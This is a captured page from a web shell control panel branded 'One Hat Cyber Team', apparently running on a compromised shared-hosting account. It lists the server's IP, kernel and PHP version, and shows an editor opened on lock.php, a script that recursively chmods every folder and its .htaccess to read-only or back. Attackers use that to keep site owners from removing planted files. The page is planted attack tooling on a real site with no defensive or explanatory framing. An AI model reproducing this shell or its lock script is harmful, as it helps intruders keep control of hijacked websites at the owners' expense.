⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.235
Server IP:
162.0.217.164
Server:
Linux premium256.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Server Software:
LiteSpeed
PHP Version:
8.0.30
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
niyknzcu
/
announcmentbar.com
/
Edit File: lock.php
$v){ $flag = chmodFolder($v, 0555); if($flag){$count++;} } echo 'all is '.count($folder_list).';'.$count.'is lock success'; }else if($type == 'unlock'){ $folder_list = getAllFolders($path, 8); foreach($folder_list as $k=>$v){ $flag = chmodFolder($v, 0755); $file_url = $v.'/.htaccess'; chmodFolder($file_url, 0755); if($flag){$count++;} } echo 'all is '.count($folder_list).';'.$count.'is unlock success'; } function getAllFolders($path = '.', $maxDepth = 8, $currentDepth = 1) { $directories = []; if ($currentDepth > $maxDepth) { return $directories; } $items = scandir($path); foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $fullPath = $path . DIRECTORY_SEPARATOR . $item; if (is_dir($fullPath)) { $directories[] = $fullPath; $subDirs = getAllFolders($fullPath, $maxDepth, $currentDepth + 1); $directories = array_merge($directories, $subDirs); } } return $directories; } function chmodFolder($dir, $dirMode){ $flag = false; if (chmod($dir, $dirMode)) { $flag = true; } else { $flag = false; } return $flag; } ?>
test
全部锁文件夹
全部解锁
Simpan